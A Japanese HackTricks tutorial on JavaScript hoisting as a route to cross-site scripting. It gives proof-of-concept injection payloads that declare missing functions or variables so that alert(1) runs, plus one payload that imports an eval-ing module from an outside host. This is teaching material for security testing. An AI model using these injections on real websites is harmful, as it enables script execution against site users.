JS Hoisting

htARTE(HackTricks AWS Red Team Expert) を使って、ゼロからヒーローまでAWSハッキングを学ぶ

HackTricks をサポートする他の方法:

基本情報

JavaScript言語では、ホイスティングとして知られるメカニズムがあり、変数、関数、クラス、またはインポートの宣言がコードが実行される前にそのスコープの先頭に概念的に移動すると説明されています。このプロセスは、JavaScriptエンジンによって自動的に実行され、スクリプトを複数回通過します。

最初のパス中、エンジンは構文エラーをチェックし、それを抽象構文木に変換します。このフェーズにはホイスティングが含まれ、特定の宣言が実行コンテキストの先頭に移動されます。構文解析フェーズが成功し、構文エラーがないことを示す場合、スクリプトの実行が続行されます。

以下の点を理解することが重要です:

  1. 実行が発生するにはスクリプトに構文エラーがない必要があります。構文ルールに厳密に従う必要があります。

  2. スクリプト内のコードの配置は、ホイスティングによって実行に影響を与えますが、実行されるコードはそのテキスト表現と異なる場合があります。

ホイスティングの種類

MDNからの情報に基づいて、JavaScriptには4つの異なるホイスティングの種類があります:

  1. 値のホイスティング:変数の値を宣言行の前でスコープ内で使用できるようにします。

  2. 宣言のホイスティング:変数を宣言の前にスコープ内で参照できるようにし、ReferenceErrorを引き起こさずに、ただし変数の値はundefinedになります。

  3. このタイプは、変数の宣言が実際の宣言行の前にあるため、そのスコープ内での動作を変更します。

  4. 宣言の副作用は、それを含むコードの残りが評価される前に発生します。

詳細については、関数宣言はタイプ1のホイスティング動作を示します。varキーワードはタイプ2の動作を示します。letconstclassを含むレキシカル宣言はタイプ3の動作を示します。最後に、importステートメントは、タイプ1とタイプ4の動作の両方でホイストされます。

シナリオ

したがって、未宣言のオブジェクトの後にJSコードをインジェクトできるシナリオがある場合、それを宣言して(エラーをスローする代わりにコードが実行されるように)構文を修正できます。

// The function vulnerableFunction is not defined
vulnerableFunction('test', '<INJECTION>');
// You can define it in your injection to execute JS
//Payload1: param='-alert(1)-'')%3b+function+vulnerableFunction(a,b){return+1}%3b
'-alert(1)-''); function vulnerableFunction(a,b){return 1};

//Payload2: param=test')%3bfunction+vulnerableFunction(a,b){return+1}%3balert(1)
test'); function vulnerableFunction(a,b){ return 1 };alert(1)
// If a variable is not defined, you could define it in the injection
// In the following example var a is not defined
function myFunction(a,b){
return 1
};
myFunction(a, '<INJECTION>')

//Payload: param=test')%3b+var+a+%3d+1%3b+alert(1)%3b
test'); var a = 1; alert(1);
// If an undeclared class is used, you cannot declare it AFTER being used
var variable = new unexploitableClass();
<INJECTION>
// But you can actually declare it as a function, being able to fix the syntax with something like:
function unexploitableClass() {
return 1;
}
alert(1);
// Properties are not hoisted
// So the following examples where the 'cookie' attribute doesn´t exist
// cannot be fixed if you can only inject after that code:
test.cookie('leo','INJECTION')
test['cookie','injection']

より多くのシナリオ

// Undeclared var accessing to an undeclared method
x.y(1,INJECTION)
// You can inject
alert(1));function x(){}//
// And execute the allert with (the alert is resolved before it's detected that the "y" is undefined
x.y(1,alert(1));function x(){}//)
// Undeclared var accessing 2 nested undeclared method
x.y.z(1,INJECTION)
// You can inject
");import {x} from "https://example.com/module.js"//
// It will be executed
x.y.z("alert(1)");import {x} from "https://example.com/module.js"//")


// The imported module:
// module.js
var x = {
y: {
z: function(param) {
eval(param);
}
}
};

export { x };
// In this final scenario from https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/
// It was injected the: let config;`-alert(1)`//`
// With the goal of making in the block the var config be empty, so the return is not executed
// And the same injection was replicated in the body URL to execute an alert

try {
if(config){
return;
}
// TODO handle missing config for: https://try-to-catch.glitch.me/"+`
let config;`-alert(1)`//`+"
} catch {
fetch("/error", {
method: "POST",
body: {
url:"https://try-to-catch.glitch.me/"+`
let config;`-alert(1)-`//`+""
}
})
}

参考文献

ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)

HackTricksをサポートする他の方法:

Last updated